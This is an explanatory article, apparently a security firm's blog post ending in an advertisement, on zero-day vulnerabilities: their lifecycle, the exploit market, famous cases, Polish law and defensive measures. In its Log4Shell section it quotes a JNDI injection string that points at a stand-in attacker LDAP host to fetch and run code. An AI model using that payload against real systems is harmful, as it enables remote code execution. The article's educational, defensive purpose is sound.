Zero-Day Vulnerabilities Explained: How Exploits Work, the Exploit Market, and How to Defend Against the Unknown

Introduction: Asymmetry in the Digital World

Cybersecurity today is an endless game of cat and mouse, and the rules are deeply unfair. The game is shaped by a profound information asymmetry. On one side are the defenders: administrators, Blue Teams and software vendors, who have to secure thousands of potential entry points into a system. On the other side are attackers, who need to find just one gap. At the center of this imbalance is a concept that has alarmed executives and intelligence agencies alike for years: the zero-day (0-day) vulnerability.

So what exactly is it? The popular definition is "a bug with no patch." That undersells the problem. A zero-day is more than a code defect. It is a strategic asset. In an age of information warfare and industrial espionage, an unknown vulnerability is a weapon with kinetic potential. It can destroy physical infrastructure, shut down hospitals or be used to surveil political opponents. The term comes from simple, brutal math: "zero days" is how much time the software's developers had to prepare a defense before the attack. When the first hacker exploits such a flaw, victims are completely defenseless. Traditional antivirus systems, which rely on signatures of known threats, stay silent because they don't know what to look for. This opens the "window of vulnerability," a period in which attackers can move through victims' systems like ghosts, invisible and unpunished.

In this report, we dissect the zero-day ecosystem in detail. We look under the hood of exploits, trace the vulnerability lifecycle, examine the economics of a black market where prices reach millions of dollars, and revisit the most famous attacks in history. We also look at where Poland fits into this global picture, with its own legal framework and local incidents.

Part I: What a Vulnerability Is and How Its Lifecycle Unfolds

To understand the threat, we need to break down how it comes to exist. A zero-day vulnerability doesn't appear out of nowhere. It is the product of a process, a chain of events in which the key variable is time. That lifecycle can be divided into five key phases.

1. Flaw Creation

It all starts long before any attack, inside development teams. Bugs are introduced unintentionally during the software development lifecycle (SDLC). Developers are human. Time pressure, complex library dependencies, business logic mistakes and improper component integration all lead to vulnerabilities. The statistics are unforgiving: every system of sufficient complexity contains bugs. The question is not "if" but "where." At this stage the vulnerability is latent. It exists in the code, but nobody knows about it.

2. Discovery

This is the turning point, and it's a race: who finds the bug first? If security researchers (so-called white hats) or internal audit teams discover it, the flaw goes down the remediation path. But if the discoverer is a cybercriminal, an APT (Advanced Persistent Threat) group or an intelligence agency, the flaw becomes an "unknown unknown" for the rest of the world. This is where the asymmetry is born. Whoever holds the knowledge gains an enormous strategic advantage.

3. Weaponization and Exploitation

Finding a bug in code (for example, that a program mishandles long strings) is not enough to launch an attack. The bug has to be weaponized. The attacker must build an exploit: specialized code that reliably and repeatably uses the weakness to trigger a specific, unintended behavior in the system. That might be remote code execution (RCE), privilege escalation or an authorization bypass. Building stable exploits for modern systems such as Windows 11 or iOS is a feat of engineering that often takes months of work.

4. The Zero-Day Phase

This is the attacker's "golden window": the period between the attacker discovering the flaw and the vendor releasing a patch. During this time, attacks are at their most effective, most destructive and... most expensive. The victim has no dedicated protection. The only safeguards are system-level mitigations and advanced behavioral analysis, which we cover later.

5. Death of the Vulnerability (Patching) and the Afterlife

Releasing a security patch in theory ends the flaw's life as a zero-day. It becomes what's known as an n-day vulnerability. History shows, however, that this is far from the end of the threat. Because updates are delayed, especially in industrial OT systems and legacy servers, these vulnerabilities continue to be exploited for years after disclosure. There are documented cases of decade-old bugs still being used in breaches because administrators neglected basic cyber hygiene.

Part II: Technical Anatomy: How Do You Break a System?

To fully understand the threat, we need to go down to the level of bits and bytes. Which classes of bugs are most often used to build cyberweapons? An analysis of CVE databases and historical incidents points to a few key categories.

Memory Corruption

Historically, this is the largest and most devastating class of bugs. It affects software written in low-level languages such as C and C++, where memory management is the programmer's responsibility.

• Buffer Overflow: The classic. It occurs when a program writes data beyond the boundaries of an allocated memory region (a buffer). Picture pouring water into a glass and not turning off the tap: the water spills onto the table. In a computer, that "spilled" data overwrites adjacent memory. If attackers do this precisely, they can overwrite the instruction pointer and redirect the processor to execute their own malicious code (shellcode).
• Use-After-Free (UAF): A more sophisticated bug. It happens when a program accesses memory that has already been freed ("thrown away"). If the attacker manages to allocate their own data in that location in the meantime, and the program then uses the "stale" reference (a dangling pointer), the attacker's code gets executed. UAF bugs are a plague in web browsers.
• Why it matters: These bugs underpin Remote Code Execution (RCE) attacks, which allow full system compromise without physical access.

Remote Code Execution (RCE) and Deserialization

RCE is the hacker's "holy grail." It allows full control over a victim's server or computer without physical access to the machine. A common vector is deserialization bugs. Modern applications (Java, .NET, Python) exchange complex data objects. Turning that data back into objects in memory is called deserialization. If an application "rebuilds" a malicious object sent by a hacker without validating it, the object can execute code automatically as it is created. One example was the high-profile flaw in Atlassian Confluence.

SQL Injection (SQLi): An Old Enemy

Despite decades of awareness training, SQL injection is still alive and well. It works by manipulating a database query. As zero-days, these flaws often show up in complex content management systems or file transfer platforms. A case in point is MOVEit Transfer, where the CLOP group used a zero-day SQLi flaw to steal data at scale from US government agencies, proving that "old" techniques remain deadly effective.

Exploit Chains

Modern operating systems are hardened. They include protections such as sandboxing. As a result, a single vulnerability is rarely enough to take over a device completely. Attackers have to string flaws together into chains (kill chains). A typical attack on a phone looks like this:

1. Initial Access: A flaw in a font renderer or image handler (for example, in a messaging app) provides a foothold.
2. Sandbox Escape: A flaw in the operating system kernel (a kernel exploit) lets the attacker break out of the app's isolated environment.
3. Privilege Escalation: Privileges are raised to root/system level.
4. Persistence: A mechanism that lets the malware survive a device reboot.

Part III: The Global Market in Digital Weapons

Information about a zero-day vulnerability is a commodity, and like any commodity, it has a price. This trade has grown from niche swaps on hobbyist forums into a powerful, globalized market worth billions of dollars. It can be divided into three segments that differ in clientele, pricing and ethics.

Market Segmentation

Feature	White Market	Gray Market	Black Market
Participants	Vendors (Google, Microsoft), bug bounty platforms (HackerOne, Bugcrowd)	Brokers (Zerodium, Crowdfense), government agencies, intelligence services, surveillance companies	Ransomware groups, cybercriminals, dark web forums
Purpose	Defensive: patching flaws, improving security	Offensive/intelligence: espionage, surveillance, cyberwarfare	Criminal: financial theft, extortion, botnets
Transparency	High (public acknowledgments, CVEs)	Low (NDAs, state secrecy)	None (anonymity, Tor, cryptocurrencies)
Prices	Low/medium (thousands to hundreds of thousands of USD)	High/very high (millions of USD)	Variable, depending on monetization (Exploit-as-a-Service)

The Economics and Pricing of Exploits

The value of a zero-day depends on its rarity, its reliability and the level of access it provides. At the top of the price hierarchy are zero-click exploits for mobile devices, which require no interaction from the victim at all.

Zerodium, one of the best-known gray-market brokers, publishes acquisition price lists that serve as a barometer of market trends. A full zero-click exploit chain for iOS (iPhone) can fetch up to USD 2,500,000, while a comparable Android exploit is also valued in the millions. Exploits for messaging apps (WhatsApp, Signal) or browsers are priced at around USD 500,000.

This price gap (USD 50,000 from a bug bounty vs. USD 2 million from a broker) creates a serious ethical dilemma for researchers and encourages "stockpiling vulnerabilities": hoarding flaws instead of getting them fixed.

The Role of Brokers and the Controversy

Companies such as Zerodium and Crowdfense act as middlemen, buying vulnerabilities from researchers and reselling them to government agencies and law enforcement. Critics argue that this model weakens global security because the flaws stay unpatched in software used by millions of people, including critical infrastructure. There is also a risk that vulnerabilities purchased by governments will leak and end up in the hands of criminal groups, which is exactly what happened with NSA tools.

Part IV: Case Studies: When Code Becomes a Weapon

The history of cybersecurity was shaped by a handful of landmark zero-day attacks. They defined the modern battlefield.

Stuxnet: Operation "Olympic Games"

Discovered in 2010, the Stuxnet worm was a milestone. It was the first precision industrial cyberweapon, created (according to widely accepted accounts) by US and Israeli intelligence. Its target was Iran's nuclear program. Stuxnet was unprecedented in the number of zero-day vulnerabilities it used: a total of four previously unknown flaws in Windows:

1. CVE-2010-2568: A flaw in the handling of .lnk shortcut files that allowed code execution as soon as an infected USB drive was plugged in (the method used to spread into isolated, air-gapped networks).
2. CVE-2010-2729: A flaw in the Print Spooler service that enabled propagation across the local network.
3. Two additional flaws involved privilege escalation in the system kernel.

The worm also used stolen digital certificates and precisely identified the Siemens PLCs controlling the uranium enrichment centrifuges. It altered their rotational speed, physically destroying the machines, while sending falsified "normal operation" data to the monitoring systems. An estimated 1,000 centrifuges were destroyed, significantly delaying Iran's nuclear program. Stuxnet showed that code can destroy physical matter.

EternalBlue and WannaCry: Pandora's Box

EternalBlue is the name of an NSA-built exploit targeting a flaw in the SMBv1 (Server Message Block) protocol in Windows. The exploit used a buffer overflow in the handling of specially crafted SMB packets (CVE-2017-0144). This enabled remote code execution at the kernel level (System Privileges) on any unpatched computer with port 445 exposed.

In 2017, the Shadow Brokers group stole and published NSA tools, including EternalBlue. The consequences were catastrophic. North Korea used the flaw to create the WannaCry ransomware. In May 2017, within a few days, it infected more than 200,000 systems in 150 countries. It paralyzed the UK's National Health Service (NHS), car factories and logistics systems. The incident exposed the risks of governments stockpiling vulnerabilities: a weapon built for espionage became a weapon of mass disruption in criminal hands. Modern ransomware variants such as BlackCat 3.0 carry on this destructive tradition.

Pegasus and FORCEDENTRY: Engineering Invisibility

Pegasus, the spyware developed by Israel's NSO Group, represents the pinnacle of offensive engineering, enabling covert surveillance of mobile devices without the user's knowledge. In 2021, researchers at Citizen Lab discovered the FORCEDENTRY exploit (CVE-2021-30860), which targeted iMessage on iPhones. A similar zero-click mechanism was recently used in the attack on WhatsApp (CVE-2025-55177), which we covered in detail.

The attack involved sending a message containing a crafted PDF file disguised as a GIF. The flaw was in the CoreGraphics library, which parses the JBIG2 compression format. Inside the image-parsing process, the exploit built a virtual machine out of logic gates (AND, OR, XOR, NAND), which allowed it to execute arbitrary code and bypass advanced Apple protections such as Pointer Authentication Codes (PAC).

This zero-click attack, requiring no click on any link, changed how the industry thinks about mobile security. Apple was forced to introduce "Lockdown Mode," a setting that drastically limits a phone's functionality to protect against such attacks. The technical virtuosity of this exploit still impresses and alarms analysts today.

Log4Shell: Fragile Foundations

In December 2021, a vulnerability was discovered in the Log4j logging library (CVE-2021-44228), which is used throughout the Java ecosystem, from Minecraft servers to banking systems and VMware.

The flaw stemmed from a Log4j feature that interpreted strings in log messages. If an application logged a user-supplied string (for example, in the User-Agent header) containing ${jndi:ldap://attacker.com/exploit}, the library would connect to the specified LDAP server, download a malicious Java class and execute it (JNDI injection).

Because Log4j is embedded in thousands of enterprise applications, the attack surface was practically limitless: half the internet was vulnerable. It showed how a bug in a free open-source library can threaten the global digital economy.

Part V: The Polish Perspective

How does Poland fit into this picture? Poland is not just a passive observer. It has its successes, but also serious legal challenges.

The Legal Side: A Thin Red Line (Article 267 of the Penal Code)

In Poland, security research carries legal risk. The key provision is Article 267 of the Polish Penal Code (Kodeks karny, KK), which criminalizes unlawfully obtaining information.

Under the law, anyone who without authorization gains access to information not intended for them (for example, by breaking security measures) faces up to 2 years in prison. This also applies to so-called ethical hacking if the researcher acts without the system owner's explicit consent.

Polish law has no default "safe harbor" clause for researchers. This means that finding a zero-day in a Polish online service and trying to verify it without permission can lead to criminal charges. That's why it is essential to work within official bug bounty programs or responsible disclosure policies.

The Role of CERT Polska and CVD

Poland's central coordination point is CERT Polska (operating within the research institute NASK), which serves as one of the country's national-level CSIRTs.

• CNA status: CERT Polska is a CVE Numbering Authority, which means it can assign official CVE identifiers to vulnerabilities discovered in Polish software.
• Coordinated Vulnerability Disclosure (CVD): The team runs a coordinated vulnerability disclosure policy. A researcher who finds a flaw (for example, in Polish banking or government software) can safely report it to CERT Polska via the form at incydent.cert.pl or by email (cvd@cert.pl). CERT Polska then acts as an intermediary, verifying the report and contacting the vendor while keeping the reporter anonymous.
• Statistics: In 2024, CERT Polska handled a record of more than 600,000 reports, which shows the scale of threats facing the Polish internet.

Local Incidents

Poland is not immune to zero-day threats, both as a target and as a place where vulnerabilities are discovered.

• Comarch ERP XL (CVE-2023-4537): In 2024, CERT Polska coordinated the disclosure of a critical vulnerability in Comarch ERP XL, a popular enterprise resource planning system. The flaw allowed an attacker to force a downgrade of the MS SQL protocol to an unencrypted form (a downgrade attack), making it possible to intercept sensitive business data. It is a textbook example of a flaw in business software that posed a real threat to Polish companies.
• Pegasus in Poland: The use of Pegasus against Polish targets (politicians, prosecutors) was the subject of a parliamentary investigative committee. It was confirmed that advanced zero-day techniques (including zero-click exploits) were used for surveillance, which fits the global trend of cyberweapons being turned on domestic targets.

Education and Community

2025 brought a number of events for sharing knowledge about the latest threats and defense techniques:

• InfraSEC Forum (February 2025, Warsaw): A conference focused on industrial (OT) system security, which is critical in light of attacks like Stuxnet.
• CYBERSEC EXPO & FORUM (June 2025, Kraków): One of Europe's largest conferences, combining technical topics with policy and strategy.
• Local initiatives: Conferences such as Oh My Hack and Security BSides (Kraków/Warsaw) are where Poland's white-hat community shares technical knowledge about the latest vulnerabilities.

Part VI: Defense Strategies and the Future

Are we defenseless? Not entirely. You can't patch a flaw you don't know about, but you can make it much harder to exploit.

System-Level and Architectural Mitigations

Modern operating systems include built-in mechanisms designed to make vulnerabilities harder to exploit, even when they exist. They don't remove the bug, but they make exploiting it far more difficult and expensive for the attacker.

Mitigation Technique	How It Works	Effectiveness Against 0-Days
ASLR (Address Space Layout Randomization)	Randomizes the placement of key memory regions (stack, heap, DLLs) each time a program runs.	Makes it hard for attackers to predict the memory addresses their exploit code (shellcode) needs to jump to. Forces the attacker to find an additional "information disclosure" vulnerability.
DEP (Data Execution Prevention) / NX Bit	Marks certain memory regions (e.g., the stack) as non-executable.	Prevents execution of code injected by the attacker into data regions. The processor refuses to execute instructions from those areas.
CFG (Control Flow Guard)	Validates indirect function calls in real time.	Makes control flow hijacking harder, for example via overwritten function pointers. Blocks techniques such as ROP (Return-Oriented Programming).
Stack Canaries	Places random values (canaries) on the stack in front of the return address.	Detects stack buffer overflow attempts. If the canary value changes, the program is terminated immediately.

Behavioral Detection and Threat Hunting

If a file can't be detected by its signature (hash), you have to look for anomalies in system and user behavior.

• Endpoint Detection and Response (EDR): Advanced EDR agents monitor parent-child relationships between processes. For example, if winword.exe (Microsoft Word) tries to launch powershell.exe or connect to an external IP address, that is a strong indicator of compromise (IoC), regardless of whether a known or unknown vulnerability was used.
• Network Detection and Response (NDR): Network traffic analysis can reveal anomalies such as unusual outbound connections (C2 beaconing), large data transfers at night, or communication with servers in high-risk countries. During Log4Shell, NDR was key to detecting LDAP connection attempts to external servers.
• Threat Hunting: A proactive process of searching the network for traces of an intruder instead of passively waiting for alerts. Hunters work from hypotheses (e.g., "the attacker is using a new flaw in the mail server") and look for evidence in logs and telemetry.

Because zero-days have no signatures, traditional antivirus tools are powerless against them. The key to defense is real-time analysis of system behavior. See how EDR and XDR are transforming cybersecurity and making it possible to detect the anomalies that signal an exploit in use.

Virtual Patching

In the critical period between a vulnerability's disclosure and the deployment of the official fix, organizations use what's known as virtual patching.

This mitigation technique modifies the rules of network security systems (WAF, IPS) to block traffic exploiting the flaw before it reaches the vulnerable application. It is faster than traditional patching, requires no server restarts and minimizes the risk of downtime. Rules can be deployed in "Log Only" (detection-only) mode to check for false positives, then switched to "Block" mode.

For the MOVEit SQL injection flaw and Log4Shell, WAF-level virtual patches were the first line of defense, blocking the specific strings characteristic of the attacks.

The Role of Artificial Intelligence

Artificial intelligence (AI) and machine learning (ML) are becoming major forces reshaping the fight against zero-days, and they cut both ways.

Offensive AI:

• Automated Vulnerability Discovery: AI models can analyze source code or binaries much faster than humans, identifying patterns that suggest bugs. There are concerns that advanced large language models (LLMs) will be able to generate working exploits from nothing more than a CVE description.
• AI-Driven Phishing: AI makes it possible to create hyper-realistic phishing messages, which are a key vector for delivering zero-day exploits into a victim's network.

Defensive AI:

• Behavioral Learning: ML algorithms learn a "baseline of normal" for every user and device on the network. This lets them detect subtle deviations (anomalies) that may indicate a zero-day attack, even if it doesn't match any known signature.
• Response Automation (SOAR): These systems can automatically isolate infected machines within a fraction of a second of detecting an anomaly, minimizing the time attackers have to operate.

Vulnerability Research: Fuzzing and Variant Analysis

Discovering zero-days isn't just the domain of criminals. Research teams (such as Google Project Zero) and independent researchers play a key role in the security ecosystem.

• Fuzzing: The core method for finding bugs. It involves automatically feeding a program random, invalid or mutated input (e.g., corrupted PDF files) to trigger a crash. Analyzing the memory dump after the crash shows whether the bug is exploitable. The process includes generating seed files, mutating them, monitoring the program's state and minimizing test cases.
• Variant Analysis: Once one vulnerability is found, researchers use tools such as CodeQL (developed by GitHub) to search the codebase for similar bug patterns. CodeQL treats code as data, letting researchers write queries that find entire classes of vulnerabilities, not just individual instances. This is essential for eliminating variants of a flaw, which are often missed during manual patching.

Disclosure Ethics: The 90-Day Debate

How discovered vulnerabilities are disclosed is a source of controversy and tension between researchers and vendors.

• Responsible Disclosure: The traditional approach, in which a researcher reports the bug to the vendor and holds off on publishing until a patch is released. That wait can be indefinite.
• Google Project Zero's policy (90+30 days): The team introduced a strict standard: vendors have 90 days to fix a bug. After that deadline, the technical details are made public automatically, whether or not a patch exists. If the vulnerability is being actively exploited "in the wild," the deadline shrinks to 7 days. The goal is to pressure vendors to prioritize security.
• The debate: Companies such as Microsoft argue that rigid deadlines can put users at risk when a fix is complex and needs more testing time. Disclosing a flaw with no patch available hands attackers a ready-made blueprint. However, data shows that Project Zero's policy has significantly shortened average patch times across the industry.

Conclusion: Zero Trust and Assumed Breach

Zero-day vulnerabilities are an inherent feature of modern technology, the result of the unavoidable complexity of IT systems. The evolution from simple memory bugs to sophisticated zero-click chains, along with the militarization of these tools by nation-states, shows that cyberspace has become a full-fledged theater of war.

For organizations and governments, this means a shift in the defensive paradigm. The "fortress" model doesn't work. It is essential to adopt Zero Trust and Assumed Breach, the assumption that the system is, or soon will be, compromised. The key to survival is not perfect prevention (which is impossible in the face of zero-days). It is cutting detection and response times to a minimum, isolating critical systems and continuously investing in offensive testing of your own defenses.

At the same time, global pressure on software vendors through bug bounty programs and transparent disclosure policies remains the most effective way to raise security across the whole digital world.

Build your defenses against zero-day attacks. SecurHUB provides comprehensive penetration testing of web applications, mobile apps and network infrastructure to help you find vulnerabilities before attackers do. Our 24/7 SOC services with advanced behavioral detection and our XDR platform protect you even against unknown threats. We also offer source code audits as part of a DevSecOps model. Contact us.

Aleksander